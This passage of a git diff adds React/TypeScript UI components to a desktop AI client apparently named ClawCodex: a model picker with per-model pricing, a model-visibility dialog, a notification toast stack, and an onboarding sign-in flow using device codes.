+        if (models.length === 0) {
+          return null
+        }
+
+        const unavailable = new Set(provider.unavailable_models ?? [])
+
+        return (
+          <CommandGroup heading={<ProviderHeading provider={provider} />} key={provider.slug}>
+            {provider.warning && (
+              <div className="px-2 pb-2">
+                <InlineNotice className="px-2.5 py-1.5 text-xs" kind="warning">
+                  {provider.warning}
+                </InlineNotice>
+              </div>
+            )}
+            {models.map(model => {
+              const isCurrent = model === currentModel && provider.slug === currentProvider
+              const price = provider.pricing?.[model]
+              const locked = unavailable.has(model)
+
+              return (
+                <CommandItem
+                  className={cn(
+                    'flex items-center gap-2 pl-6 font-mono',
+                    isCurrent &&
+                      'bg-primary text-primary-foreground data-[selected=true]:bg-primary data-[selected=true]:text-primary-foreground',
+                    locked && 'cursor-not-allowed opacity-45'
+                  )}
+                  disabled={locked}
+                  key={`${provider.slug}:${model}`}
+                  onSelect={() => {
+                    if (!locked) {
+                      onSelectModel(provider, model)
+                    }
+                  }}
+                  value={`${provider.slug}:${model}`}
+                >
+                  <span className="min-w-0 flex-1 truncate">
+                    <HighlightMatches query={search} text={model} />
+                  </span>
+                  {locked && (
+                    <span className="shrink-0 text-[0.62rem] uppercase tracking-wide opacity-80">{copy.pro}</span>
+                  )}
+                  <ModelPrice isCurrent={isCurrent} price={price} />
+                </CommandItem>
+              )
+            })}
+            {unavailable.size > 0 && (
+              <div className="px-6 pb-2 pt-1 text-[0.62rem] leading-relaxed text-muted-foreground">
+                {copy.proNeedsSubscription}
+              </div>
+            )}
+          </CommandGroup>
+        )
+      })}
+    </>
+  )
+}
+
+// Compact In/Out $/Mtok price tag, mirroring the CLI picker's price columns.
+// Renders nothing when pricing is unavailable for the model.
+function ModelPrice({ price, isCurrent }: { price?: ModelPricing; isCurrent: boolean }) {
+  const { t } = useI18n()
+  const copy = t.modelPicker
+
+  if (!price || (!price.input && !price.output)) {
+    return null
+  }
+
+  if (price.free) {
+    return (
+      <span
+        className={cn(
+          'shrink-0 rounded-sm px-1 py-0.5 text-[0.62rem] font-semibold uppercase tracking-wide',
+          isCurrent ? 'bg-primary-foreground/20' : 'bg-emerald-500/15 text-emerald-600 dark:text-emerald-400'
+        )}
+      >
+        {copy.free}
+      </span>
+    )
+  }
+
+  const onSale = typeof price.discount_percent === 'number' && Boolean(price.was_input || price.was_output)
+
+  return (
+    <span
+      className={cn(
+        'shrink-0 inline-flex items-center gap-1.5 text-[0.66rem] tabular-nums',
+        isCurrent ? 'text-primary-foreground/80' : 'text-muted-foreground'
+      )}
+      title={copy.priceTitle}
+    >
+      {onSale ? (
+        <span
+          className={cn(
+            'rounded-sm px-1 py-0.5 text-[0.62rem] font-semibold',
+            isCurrent ? 'bg-primary-foreground/20' : 'bg-amber-500/15 text-amber-700 dark:text-amber-400'
+          )}
+        >
+          -{price.discount_percent}%
+        </span>
+      ) : null}
+      <span>
+        {price.input || '?'} / {price.output || '?'}
+      </span>
+      {onSale ? (
+        <span
+          className={cn(
+            'line-through decoration-from-font opacity-70',
+            isCurrent ? 'text-primary-foreground/60' : 'text-muted-foreground/80'
+          )}
+        >
+          {copy.wasPrice} {price.was_input || '?'} / {price.was_output || '?'}
+        </span>
+      ) : null}
+    </span>
+  )
+}
+
+function LoadingResults() {
+  return (
+    <CommandGroup heading={<Skeleton className="h-3 w-32" />}>
+      {Array.from({ length: 4 }, (_, rowIndex) => (
+        <div className="rounded-sm py-1.5 pl-6 pr-2" key={rowIndex}>
+          <Skeleton className={cn('h-5', rowIndex % 3 === 0 ? 'w-3/5' : rowIndex % 3 === 1 ? 'w-4/5' : 'w-1/2')} />
+        </div>
+      ))}
+    </CommandGroup>
+  )
+}
+
+function ProviderHeading({ provider }: { provider: ModelOptionProvider }) {
+  const { t } = useI18n()
+  const copy = t.modelPicker
+
+  // free_tier is only set for Nous. true → "Free tier", false → "Pro".
+  const tierBadge =
+    provider.free_tier === true ? (
+      <span className="rounded-sm bg-emerald-500/15 px-1 py-0.5 text-[0.6rem] font-semibold uppercase tracking-wide text-emerald-600 dark:text-emerald-400">
+        {copy.freeTier}
+      </span>
+    ) : provider.free_tier === false ? (
+      <span className="rounded-sm bg-primary/15 px-1 py-0.5 text-[0.6rem] font-semibold uppercase tracking-wide text-primary">
+        {copy.pro}
+      </span>
+    ) : null
+
+  return (
+    <span className="flex min-w-0 items-center gap-2">
+      <span className="truncate">{provider.name}</span>
+      <span className="font-mono text-xs font-normal normal-case tracking-normal text-muted-foreground">
+        {provider.slug} · {provider.total_models ?? provider.models?.length ?? 0}
+      </span>
+      {tierBadge}
+    </span>
+  )
+}
diff --git a/ui-desktop/src/components/model-visibility-dialog.tsx b/ui-desktop/src/components/model-visibility-dialog.tsx
new file mode 100644
index 000000000..e2f26fcb5
--- /dev/null
+++ b/ui-desktop/src/components/model-visibility-dialog.tsx
@@ -0,0 +1,188 @@
+import { useStore } from '@nanostores/react'
+import { useQuery } from '@tanstack/react-query'
+import { useMemo, useState } from 'react'
+
+import type { ClawCodexGateway } from '@/clawcodex'
+import { Button } from '@/components/ui/button'
+import { Checkbox } from '@/components/ui/checkbox'
+import { Dialog, DialogContent, DialogHeader, DialogTitle } from '@/components/ui/dialog'
+import { DisclosureCaret } from '@/components/ui/disclosure-caret'
+import { GlyphSpinner } from '@/components/ui/glyph-spinner'
+import { HighlightMatches } from '@/components/ui/highlight-matches'
+import { Switch } from '@/components/ui/switch'
+import { useI18n } from '@/i18n'
+import { Search } from '@/lib/icons'
+import { modelOptionsQueryKey, requestModelOptions } from '@/lib/model-options'
+import { displayModelName, modelDisplayParts } from '@/lib/model-status-label'
+import { normalize } from '@/lib/text'
+import {
+  $visibleModels,
+  collapseModelFamilies,
+  effectiveVisibleKeys,
+  modelVisibilityKey,
+  setProviderVisibility,
+  setVisibleModels,
+  toggleModelVisibility
+} from '@/store/model-visibility'
+import { $collapsedProviders, toggleCollapsedProvider } from '@/store/provider-collapse'
+import type { ModelOptionProvider, ModelOptionsResponse } from '@/types/clawcodex'
+
+interface ModelVisibilityDialogProps {
+  gw?: ClawCodexGateway
+  onOpenChange: (open: boolean) => void
+  onOpenProviders: () => void
+  open: boolean
+  profile?: string
+  sessionId?: string | null
+}
+
+export function ModelVisibilityDialog({
+  gw,
+  onOpenChange,
+  onOpenProviders,
+  open,
+  profile = 'default',
+  sessionId
+}: ModelVisibilityDialogProps) {
+  const { t } = useI18n()
+  const copy = t.modelVisibility
+  const [search, setSearch] = useState('')
+  const stored = useStore($visibleModels)
+  const collapsedProviders = useStore($collapsedProviders)
+
+  const modelOptions = useQuery({
+    queryKey: modelOptionsQueryKey(profile, sessionId),
+    queryFn: (): Promise<ModelOptionsResponse> => requestModelOptions({ gateway: gw, sessionId }),
+    enabled: open
+  })
+
+  const providers = useMemo(
+    () => (modelOptions.data?.providers ?? []).filter(provider => (provider.models ?? []).length > 0),
+    [modelOptions.data]
+  )
+
+  const visible = effectiveVisibleKeys(stored, providers)
+
+  const toggle = (provider: ModelOptionProvider, model: string) => {
+    setVisibleModels(toggleModelVisibility($visibleModels.get(), providers, provider.slug, model))
+  }
+
+  const setProviderVisible = (provider: ModelOptionProvider, next: boolean) => {
+    setVisibleModels(setProviderVisibility($visibleModels.get(), providers, provider.slug, next))
+  }
+
+  const q = normalize(search)
+
+  const matches = (provider: ModelOptionProvider, model: string) =>
+    !q || `${model} ${provider.name} ${provider.slug} ${displayModelName(model)}`.toLowerCase().includes(q)
+
+  return (
+    <Dialog onOpenChange={onOpenChange} open={open}>
+      <DialogContent bodyClassName="gap-0 overflow-hidden p-0" className="max-w-xs">
+        <DialogHeader className="px-3 pb-1 pt-3">
+          <DialogTitle className="text-[0.8125rem]">{copy.title}</DialogTitle>
+        </DialogHeader>
+
+        <div className="flex items-center gap-1.5 px-3 py-1.5">
+          <Search className="pointer-events-none size-3.5 shrink-0 text-muted-foreground/70" />
+          <input
+            autoFocus
+            className="h-5 w-full bg-transparent text-xs text-foreground placeholder:text-(--ui-text-tertiary) focus:outline-none"
+            onChange={event => setSearch(event.target.value)}
+            placeholder={copy.search}
+            type="text"
+            value={search}
+          />
+        </div>
+
+        <div className="max-h-[55vh] overflow-y-auto pb-1">
+          {providers.length === 0 ? (
+            <div className="px-3 py-5 text-center text-xs text-muted-foreground">
+              {modelOptions.isPending ? <GlyphSpinner className="mx-auto text-sm" /> : copy.noAuthenticatedProviders}
+            </div>
+          ) : (
+            providers.map(provider => {
+              const models = collapseModelFamilies(provider.models ?? []).filter(family => matches(provider, family.id))
+
+              if (models.length === 0) {
+                return null
+              }
+
+              const allFamilies = collapseModelFamilies(provider.models ?? [])
+
+              const onCount = allFamilies.filter(family =>
+                visible.has(modelVisibilityKey(provider.slug, family.id))
+              ).length
+
+              const checkState = onCount === 0 ? false : onCount === allFamilies.length ? true : 'indeterminate'
+
+              const collapsed = collapsedProviders.includes(provider.slug) && !q
+
+              return (
+                <div className="py-0.5" key={provider.slug}>
+                  <div className="flex items-center gap-2 px-3 pb-0.5 pt-1">
+                    <button
+                      className="group/label flex w-full items-center gap-1 pb-0.5 pt-0.5 text-left text-[0.625rem] font-semibold uppercase tracking-wider text-(--ui-text-tertiary) hover:bg-transparent"
+                      onClick={() => toggleCollapsedProvider(provider.slug)}
+                      type="button"
+                    >
+                      <span className="min-w-0 truncate">
+                        <HighlightMatches query={search} text={provider.name} />
+                      </span>
+                      <DisclosureCaret
+                        className="shrink-0 opacity-0 transition group-hover/label:opacity-100"
+                        open={!collapsed}
+                        size="0.625rem"
+                      />
+                    </button>
+                    <Checkbox
+                      checked={checkState}
+                      onCheckedChange={next => setProviderVisible(provider, next !== false)}
+                    />
+                  </div>
+                  {!collapsed &&
+                    models.map(family => {
+                      const { name, tag } = modelDisplayParts(family.id)
+                      const key = modelVisibilityKey(provider.slug, family.id)
+
+                      return (
+                        <label
+                          className="flex cursor-pointer items-center gap-2 px-3 py-1 text-xs hover:bg-(--ui-control-active-background)"
+                          key={key}
+                        >
+                          <span className="min-w-0 flex-1 truncate">
+                            <HighlightMatches query={search} text={name} />
+                            {tag ? <span className="text-(--ui-text-tertiary)"> {tag}</span> : null}
+                          </span>
+                          <Switch
+                            checked={visible.has(key)}
+                            onCheckedChange={() => toggle(provider, family.id)}
+                            size="xs"
+                          />
+                        </label>
+                      )
+                    })}
+                </div>
+              )
+            })
+          )}
+        </div>
+
+        <div className="px-3 py-2">
+          <Button
+            className="-ml-2 text-(--ui-text-tertiary)"
+            onClick={() => {
+              onOpenChange(false)
+              onOpenProviders()
+            }}
+            size="xs"
+            type="button"
+            variant="text"
+          >
+            {copy.addProvider}
+          </Button>
+        </div>
+      </DialogContent>
+    </Dialog>
+  )
+}
diff --git a/ui-desktop/src/components/notifications.tsx b/ui-desktop/src/components/notifications.tsx
new file mode 100644
index 000000000..640603236
--- /dev/null
+++ b/ui-desktop/src/components/notifications.tsx
@@ -0,0 +1,301 @@
+import { useStore } from '@nanostores/react'
+import { type CSSProperties, type ReactNode, useEffect, useRef, useState } from 'react'
+import { createPortal } from 'react-dom'
+
+import { Alert, AlertDescription, AlertTitle } from '@/components/ui/alert'
+import { Button } from '@/components/ui/button'
+import { Codicon } from '@/components/ui/codicon'
+import { CopyButton } from '@/components/ui/copy-button'
+import { useI18n } from '@/i18n'
+import { triggerHaptic } from '@/lib/haptics'
+import { AlertCircle, AlertTriangle, CheckCircle2, type IconComponent, Info } from '@/lib/icons'
+import { cn } from '@/lib/utils'
+import {
+  $notifications,
+  type AppNotification,
+  clearNotifications,
+  dismissNotification,
+  type NotificationKind
+} from '@/store/notifications'
+
+type ToneVariant = 'default' | 'destructive' | 'warning' | 'success'
+
+const tone: Record<NotificationKind, { icon: IconComponent; iconClass: string; variant: ToneVariant }> = {
+  error: { icon: AlertCircle, iconClass: 'text-destructive', variant: 'destructive' },
+  warning: { icon: AlertTriangle, iconClass: 'text-primary', variant: 'warning' },
+  info: { icon: Info, iconClass: 'text-muted-foreground', variant: 'default' },
+  success: { icon: CheckCircle2, iconClass: 'text-primary', variant: 'success' }
+}
+
+const STACK_SURFACE = 'pointer-events-auto border border-(--stroke-nous) bg-popover/95 shadow-nous backdrop-blur-md'
+
+function partitionNotifications(notifications: AppNotification[]) {
+  const defaultStack: AppNotification[] = []
+  const bottomRightStack: AppNotification[] = []
+
+  for (const notification of notifications) {
+    if (notification.placement === 'bottom-right') {
+      bottomRightStack.push(notification)
+    } else {
+      defaultStack.push(notification)
+    }
+  }
+
+  return { bottomRightStack, defaultStack }
+}
+
+export function NotificationStack() {
+  const notifications = useStore($notifications)
+  const { bottomRightStack, defaultStack } = partitionNotifications(notifications)
+  const { t } = useI18n()
+  const lastNotificationIdRef = useRef<string | null>(null)
+  const [expanded, setExpanded] = useState(false)
+  const copy = t.notifications
+
+  useEffect(() => {
+    if (defaultStack.length <= 1) {
+      setExpanded(false)
+    }
+  }, [defaultStack.length])
+
+  // eslint-disable-next-line no-restricted-syntax -- legitimate non-atom ref write (see eslint rule comment)
+  useEffect(() => {
+    const latest = notifications[0]
+
+    if (!latest || latest.id === lastNotificationIdRef.current) {
+      return
+    }
+
+    lastNotificationIdRef.current = latest.id
+
+    if (latest.kind === 'success') {
+      triggerHaptic('success')
+    } else if (latest.kind === 'error') {
+      triggerHaptic('error')
+    } else if (latest.kind === 'warning') {
+      triggerHaptic('warning')
+    }
+  }, [notifications])
+
+  return (
+    <>
+      {defaultStack.length > 0 && (
+        <TopCenterStack
+          copy={copy}
+          expanded={expanded}
+          notifications={defaultStack}
+          onToggleExpanded={() => setExpanded(v => !v)}
+        />
+      )}
+      {bottomRightStack.length > 0 && <BottomRightStack copy={copy} notifications={bottomRightStack} />}
+    </>
+  )
+}
+
+// Portaled to <body> on the over-modal rung so a toast clears an open dialog —
+// see the top-center variant below for why.
+const REGION_BASE = 'pointer-events-none fixed z-(--z-over-modal) flex gap-2'
+
+// Primary stack: top-center, collapsed to the latest toast with a "+N more"
+// expander + clear-all — the noisy/important surface (errors, warnings,
+// action toasts). Without the portal it lives inside the React root subtree,
+// which any body-level dialog/overlay portal paints over — so a toast fired
+// while a dialog is open was invisible.
+function TopCenterStack({
+  copy,
+  expanded,
+  notifications,
+  onToggleExpanded
+}: {
+  copy: ReturnType<typeof useI18n>['t']['notifications']
+  expanded: boolean
+  notifications: AppNotification[]
+  onToggleExpanded: () => void
+}) {
+  const [latest, ...older] = notifications
+
+  return createPortal(
+    <div
+      aria-label={copy.region}
+      className={cn(
+        REGION_BASE,
+        'left-1/2 top-[calc(var(--titlebar-height,34px)+0.75rem)] w-[min(32rem,calc(100%-2rem))] -translate-x-1/2 flex-col'
+      )}
+      role="region"
+    >
+      <NotificationItem notification={latest} />
+      {expanded && older.map(n => <NotificationItem key={n.id} notification={n} />)}
+      {older.length > 0 && (
+        <div className={cn(STACK_SURFACE, 'flex min-h-8 items-center justify-between rounded-lg px-3 text-xs')}>
+          <Button className="-ml-2" onClick={onToggleExpanded} size="xs" type="button" variant="text">
+            {expanded ? copy.hide : copy.show} {copy.more(older.length)}
+          </Button>
+          <Button className="-mr-2" onClick={clearNotifications} size="xs" type="button" variant="text">
+            {copy.clearAll}
+          </Button>
+        </div>
+      )}
+    </div>,
+    document.body
+  )
+}
+
+// Ambient stack: bottom-right, every toast shown at once (routine confirmations
+// rarely queue up), newest on top, no expand/clear-all chrome.
+function BottomRightStack({
+  copy,
+  notifications
+}: {
+  copy: ReturnType<typeof useI18n>['t']['notifications']
+  notifications: AppNotification[]
+}) {
+  return createPortal(
+    <div
+      aria-label={copy.region}
+      className={cn(REGION_BASE, 'right-4 bottom-4 w-[min(24rem,calc(100%-2rem))] flex-col-reverse')}
+      role="region"
+    >
+      {notifications.map(n => (
+        <NotificationItem key={n.id} notification={n} />
+      ))}
+    </div>,
+    document.body
+  )
+}
+
+// Emphasize only the leading money figure ("$16.00" — the amount used) with the
+// accent color (semibold), leaving the rest of the line in its default muted
+// tone. No accent, or no figure in the message → render the text untouched.
+function renderMessage(message: string, accent?: string): ReactNode {
+  const match = accent ? /\$\d+(?:\.\d{2})?/.exec(message) : null
+
+  if (!match) {
+    return message
+  }
+
+  const start = match.index
+  const end = start + match[0].length
+
+  return (
+    <>
+      {message.slice(0, start)}
+      <span className="font-semibold" style={{ color: accent }}>
+        {match[0]}
+      </span>
+      {message.slice(end)}
+    </>
+  )
+}
+
+function NotificationItem({ notification }: { notification: AppNotification }) {
+  const styles = tone[notification.kind]
+  const Icon = styles.icon
+  const hasDetail = Boolean(notification.detail && notification.detail !== notification.message)
+  const { t } = useI18n()
+  const copy = t.notifications
+
+  // Nudge the icon down to sit on the first text line, in `ch` so it tracks the
+  // toast's font size instead of a fixed rem. `accentColor` (when set) tints the
+  // icon + message as a severity ramp, overriding the kind's default color.
+  const accent = notification.accentColor
+  const iconStyle: CSSProperties = { marginTop: '0.42ch', ...(accent ? { color: accent } : {}) }
+
+  return (
+    <Alert
+      aria-live={notification.kind === 'error' ? 'assertive' : 'polite'}
+      className={cn(STACK_SURFACE, 'grid-cols-[auto_minmax(0,1fr)_auto] pr-2.5')}
+      role={notification.kind === 'error' ? 'alert' : 'status'}
+      variant={styles.variant}
+    >
+      {notification.icon ? (
+        <Codicon className={styles.iconClass} name={notification.icon} size="1rem" style={iconStyle} />
+      ) : (
+        <Icon className={styles.iconClass} style={iconStyle} />
+      )}
+      <div className="col-start-2 min-w-0">
+        {notification.title && <AlertTitle className="col-start-auto">{notification.title}</AlertTitle>}
+        <AlertDescription className="col-start-auto">
+          <p className="m-0">{renderMessage(notification.message, accent)}</p>
+          {notification.meta && <p className="m-0 text-xs text-muted-foreground tabular-nums">{notification.meta}</p>}
+          {hasDetail && <NotificationDetail detail={notification.detail || ''} />}
+          {notification.action && (
+            <Button
+              className="mt-1.5"
+              onClick={() => {
+                notification.action?.onClick()
+                dismissNotification(notification.id)
+              }}
+              size="xs"
+              type="button"
+              variant="textStrong"
+            >
+              {notification.action.label}
+            </Button>
+          )}
+        </AlertDescription>
+      </div>
+      <Button
+        aria-label={copy.dismiss}
+        className="col-start-3 -mr-1 text-muted-foreground"
+        onClick={() => dismissNotification(notification.id)}
+        size="icon-xs"
+        type="button"
+        variant="ghost"
+      >
+        <Codicon name="close" size="0.875rem" />
+      </Button>
+    </Alert>
+  )
+}
+
+function NotificationDetail({ detail }: { detail: string }) {
+  const { t } = useI18n()
+  const copy = t.notifications
+
+  return (
+    <details className="mt-2 text-xs text-muted-foreground">
+      <summary className="select-none font-medium text-muted-foreground hover:text-foreground">{copy.details}</summary>
+      <div className="mt-1 rounded-md bg-background/65 p-2">
+        <pre
+          className="max-h-32 whitespace-pre-wrap wrap-break-word font-mono text-[0.6875rem] leading-relaxed"
+          data-selectable-text="true"
+        >
+          {detail}
+        </pre>
+        <CopyButton
+          appearance="inline"
+          className="mt-1 rounded px-1.5 py-0.5 text-[0.6875rem]"
+          errorMessage={copy.copyDetailFailed}
+          iconClassName="size-3"
+          label={copy.copyDetail}
+          text={detail}
+        >
+          {copy.copyDetail}
+        </CopyButton>
+      </div>
+    </details>
+  )
+}
+
+export function InlineNotice({
+  kind = 'info',
+  title,
+  children,
+  className
+}: {
+  kind?: NotificationKind
+  title?: string
+  children: ReactNode
+  className?: string
+}) {
+  const styles = tone[kind]
+  const Icon = styles.icon
+
+  return (
+    <Alert className={cn('min-w-0', className)} role={kind === 'error' ? 'alert' : 'status'} variant={styles.variant}>
+      <Icon />
+      {title && <AlertTitle>{title}</AlertTitle>}
+      <AlertDescription className={cn(!title && 'row-start-1')}>{children}</AlertDescription>
+    </Alert>
+  )
+}
diff --git a/ui-desktop/src/components/onboarding/flow.tsx b/ui-desktop/src/components/onboarding/flow.tsx
new file mode 100644
index 000000000..d9382f0f6
--- /dev/null
+++ b/ui-desktop/src/components/onboarding/flow.tsx
@@ -0,0 +1,351 @@
+import { useQuery } from '@tanstack/react-query'
+import { useState } from 'react'
+
+import { getGlobalModelOptions } from '@/clawcodex'
+import { ModelPickerDialog } from '@/components/model-picker'
+import { Button } from '@/components/ui/button'
+import { ErrorIcon } from '@/components/ui/error-state'
+import { Input } from '@/components/ui/input'
+import { Loader } from '@/components/ui/loader'
+import { useI18n } from '@/i18n'
+import { ExternalLink, Loader2 } from '@/lib/icons'
+import { cn } from '@/lib/utils'
+import {
+  cancelOnboardingFlow,
+  copyDeviceCode,
+  copyExternalCommand,
+  type OnboardingContext,
+  type OnboardingFlow,
+  recheckExternalSignin,
+  setOnboardingCode,
+  setOnboardingModel,
+  submitOnboardingCode
+} from '@/store/onboarding'
+
+import { DecodedLabel, GlyphText, HackeryButton, useScramble } from './glyph'
+import { providerTitle } from './providers'
+
+export function FlowPanel({
+  ctx,
+  flow,
+  leaving,
+  onBegin
+}: {
+  ctx: OnboardingContext
+  flow: OnboardingFlow
+  leaving: boolean
+  onBegin: () => void
+}) {
+  const { t } = useI18n()
+  const title = 'provider' in flow && flow.provider ? providerTitle(flow.provider) : ''
+
+  if (flow.status === 'starting') {
+    return <Status>{t.onboarding.startingSignIn(title)}</Status>
+  }
+
+  if (flow.status === 'submitting') {
+    return <Status>{t.onboarding.verifyingCode(title)}</Status>
+  }
+
+  if (flow.status === 'success') {
+    return <DecodedLabel text={t.onboarding.connectedPicking(title)} />
+  }
+
+  if (flow.status === 'confirming_model') {
+    return <ConfirmingModelPanel flow={flow} leaving={leaving} onBegin={onBegin} profile={ctx.profile} />
+  }
+
+  if (flow.status === 'error') {
+    return (
+      <div className="grid gap-3">
+        <div className="flex items-center gap-1.5 text-sm text-destructive">
+          <ErrorIcon className="shrink-0" size="0.875rem" />
+          <span>{flow.message || t.onboarding.signInFailed}</span>
+        </div>
+        <div className="flex justify-end">
+          <Button onClick={cancelOnboardingFlow} variant="outline">
+            {t.onboarding.pickDifferentProvider}
+          </Button>
+        </div>
+      </div>
+    )
+  }
+
+  if (flow.status === 'awaiting_user') {
+    return (
+      <Step title={t.onboarding.signInWith(title)}>
+        <ol className="list-decimal space-y-1 pl-5 text-sm text-muted-foreground">
+          <li>{t.onboarding.openedBrowser(title)}</li>
+          <li>{t.onboarding.authorizeThere}</li>
+          <li>{t.onboarding.copyAuthCode}</li>
+        </ol>
+        <Input
+          autoFocus
+          onChange={e => setOnboardingCode(e.target.value)}
+          onKeyDown={e => e.key === 'Enter' && void submitOnboardingCode(ctx)}
+          placeholder={t.onboarding.pasteAuthCode}
+          value={flow.code}
+        />
+        <FlowFooter left={<DocsLink href={flow.start.auth_url}>{t.onboarding.reopenAuthPage}</DocsLink>}>
+          <CancelBtn />
+          <Button disabled={!flow.code.trim()} onClick={() => void submitOnboardingCode(ctx)}>
+            {t.common.continue}
+          </Button>
+        </FlowFooter>
+      </Step>
+    )
+  }
+
+  if (flow.status === 'external_pending') {
+    return (
+      <Step title={t.onboarding.signInWith(title)}>
+        <p className="text-sm text-muted-foreground">{t.onboarding.externalPending(title)}</p>
+        <CodeBlock copied={flow.copied} onCopy={() => void copyExternalCommand()} text={flow.provider.cli_command} />
+        <FlowFooter
+          left={
+            flow.provider.docs_url ? (
+              <DocsLink href={flow.provider.docs_url}>{t.onboarding.docs(title)}</DocsLink>
+            ) : null
+          }
+        >
+          <CancelBtn />
+          <Button onClick={() => void recheckExternalSignin(ctx)}>{t.onboarding.signedIn}</Button>
+        </FlowFooter>
+      </Step>
+    )
+  }
+
+  if (flow.status !== 'polling') {
+    return null
+  }
+
+  return (
+    <Step title={t.onboarding.signInWith(title)}>
+      <p className="text-sm text-muted-foreground">{t.onboarding.deviceCodeOpened(title)}</p>
+      <DeviceCode code={flow.start.user_code} copied={flow.copied} onCopy={() => void copyDeviceCode()} />
+      <FlowFooter left={<DocsLink href={flow.start.verification_url}>{t.onboarding.reopenVerification}</DocsLink>}>
+        <span className="flex items-center gap-2 text-xs text-muted-foreground">
+          <Loader2 className="size-3 animate-spin" />
+          {t.onboarding.waitingAuthorize}
+        </span>
+        <CancelBtn size="sm" />
+      </FlowFooter>
+    </Step>
+  )
+}
+
+function Step({ children, title }: { children: React.ReactNode; title: string }) {
+  return (
+    <div className="grid gap-4">
+      <h3 className="text-sm font-semibold">{title}</h3>
+      {children}
+    </div>
+  )
+}
+
+// Device-code display: OTP-style — each character in its own readonly cell.
+// The whole row is the copy button (no side button, no checkmark); on copy the
+// cells flash emerald for feedback. Dashes render as quiet separators.
+function DeviceCode({ code, copied, onCopy }: { code: string; copied: boolean; onCopy: () => void }) {
+  const { t } = useI18n()
+
+  return (
+    <button
+      aria-label={t.onboarding.copy}
+      className="group flex w-full items-center justify-center gap-1.5"
+      onClick={onCopy}
+      type="button"
+    >
+      {[...code].map((ch, i) =>
+        ch === '-' || ch === ' ' ? (
+          <span className="w-1.5 text-center text-lg text-muted-foreground" key={i}>
+            –
+          </span>
+        ) : (
+          <span
+            className={cn(
+              'flex size-10 items-center justify-center rounded-md border font-mono text-xl font-semibold uppercase transition-colors',
+              copied
+                ? 'border-primary/50 text-primary'
+                : 'border-(--stroke-nous) text-foreground group-hover:border-(--ui-stroke-secondary)'
+            )}
+            key={i}
+          >
+            {ch}
+          </span>
+        )
+      )}
+    </button>
+  )
+}
+
+function CodeBlock({ copied, onCopy, text }: { copied: boolean; onCopy: () => void; text: string }) {
+  const { t } = useI18n()
+
+  return (
+    <div className="flex items-center justify-between gap-3 rounded-md border border-(--stroke-nous) px-3 py-2">
+      <code className="min-w-0 flex-1 truncate font-mono text-sm">
+        <span className="mr-2 select-none text-muted-foreground">$</span>
+        {text}
+      </code>
+      <Button onClick={onCopy} size="sm" variant="outline">
+        {copied ? t.common.copied : t.onboarding.copy}
+      </Button>
+    </div>
+  )
+}
+
+function FlowFooter({ children, left }: { children: React.ReactNode; left?: React.ReactNode }) {
+  return (
+    <div className="flex items-center justify-between gap-3">
+      <div className="min-w-0">{left}</div>
+      <div className="flex items-center gap-3">{children}</div>
+    </div>
+  )
+}
+
+function CancelBtn({ size = 'default' }: { size?: 'default' | 'sm' }) {
+  const { t } = useI18n()
+
+  return (
+    <Button onClick={cancelOnboardingFlow} size={size} variant="ghost">
+      {t.common.cancel}
+    </Button>
+  )
+}
+
+function ConfirmingModelPanel({
+  flow,
+  leaving,
+  onBegin,
+  profile
+}: {
+  flow: Extract<OnboardingFlow, { status: 'confirming_model' }>
+  leaving: boolean
+  onBegin: () => void
+  profile?: string
+}) {
+  const { t } = useI18n()
+  const scrambledModel = useScramble(flow.currentModel, leaving)
+  const scrambledBegin = useScramble(t.onboarding.startChatting, leaving)
+  // Local state controls whether the model picker dialog is open.
+  // We reuse the existing ModelPickerDialog component (the same picker
+  // available from the chat shell) rather than building an inline
+  // dropdown — gives us search, multi-provider listing if relevant, and
+  // a familiar UI for users who'll see this picker again later.
+  const [pickerOpen, setPickerOpen] = useState(false)
+
+  // Pull pricing + tier for the just-picked default so the confirm card
+  // shows the same $/Mtok + Free/Pro info the picker and CLI do.
+  const options = useQuery({
+    queryKey: ['onboarding-model-options', flow.providerSlug],
+    queryFn: () => getGlobalModelOptions({ includeUnconfigured: true, explicitOnly: false })
+  })
+
+  const providerRow = options.data?.providers?.find(
+    p => String(p.slug).toLowerCase() === flow.providerSlug.toLowerCase()
+  )
+
+  const price = providerRow?.pricing?.[flow.currentModel]
+  const freeTier = providerRow?.free_tier
+
+  return (
+    <div className="grid place-items-center gap-7 py-6 text-center">
+      <DecodedLabel leaving={leaving} text={t.onboarding.connectedProvider(flow.label)} />
+
+      <div
+        className={cn(
+          'grid justify-items-center gap-1.5 transition duration-[360ms] ease-out',
+          leaving ? 'opacity-0 saturate-0' : 'opacity-100 saturate-100'
+        )}
+      >
+        <div className="flex items-center gap-2">
+          <span className="font-mono text-[0.625rem] uppercase tracking-[0.2em] text-muted-foreground">
+            {t.onboarding.defaultModel}
+          </span>
+          {freeTier === true && (
+            <span className="rounded-sm bg-emerald-500/15 px-1 py-0.5 text-[0.6rem] font-semibold uppercase tracking-wide text-emerald-600 dark:text-emerald-400">
+              {t.onboarding.freeTier}
+            </span>
+          )}
+          {freeTier === false && (
+            <span className="rounded-sm bg-primary/15 px-1 py-0.5 text-[0.6rem] font-semibold uppercase tracking-wide text-primary">
+              {t.onboarding.pro}
+            </span>
+          )}
+        </div>
+        <p className="font-mono text-base">
+          <GlyphText text={scrambledModel} />
+        </p>
+        {price && (price.input || price.output) && (
+          <p className="font-mono text-xs text-muted-foreground">
+            {price.free ? t.onboarding.free : t.onboarding.price(price.input || '?', price.output || '?')}
+          </p>
+        )}
+        <Button
+          className="mt-0.5 text-xs"
+          disabled={flow.saving}
+          onClick={() => setPickerOpen(true)}
+          size="inline"
+          variant="text"
+        >
+          {t.onboarding.change}
+        </Button>
+      </div>
+
+      <div
+        className={cn(
+          'transition duration-[360ms] ease-out',
+          leaving ? 'opacity-0 saturate-0' : 'opacity-100 saturate-100'
+        )}
+      >
+        <HackeryButton
+          disabled={flow.saving}
+          label={<GlyphText text={scrambledBegin} />}
+          loading={flow.saving}
+          onClick={onBegin}
+        />
+      </div>
+
+      {/*
+        ModelPickerDialog's content sits on the modal rung, which is below the
+        onboarding overlay — it would render underneath and swallow pointer
+        events. Lift it to the rung above onboarding. Its own dim-backdrop
+        layer stays on the modal-backdrop rung: onboarding already dims the
+        rest of the screen, so a second backdrop would double up.
+      */}
+      <ModelPickerDialog
+        contentClassName="z-(--z-onboarding-popover)"
+        currentModel={flow.currentModel}
+        currentProvider={flow.providerSlug}
+        onOpenChange={setPickerOpen}
+        onSelect={({ model }) => {
+          void setOnboardingModel(model)
+          setPickerOpen(false)
+        }}
+        open={pickerOpen}
+        profile={profile}
+      />
+    </div>
+  )
+}
+
+export function DocsLink({ children, href }: { children: React.ReactNode; href: string }) {
+  return (
+    <Button asChild size="xs" variant="text">
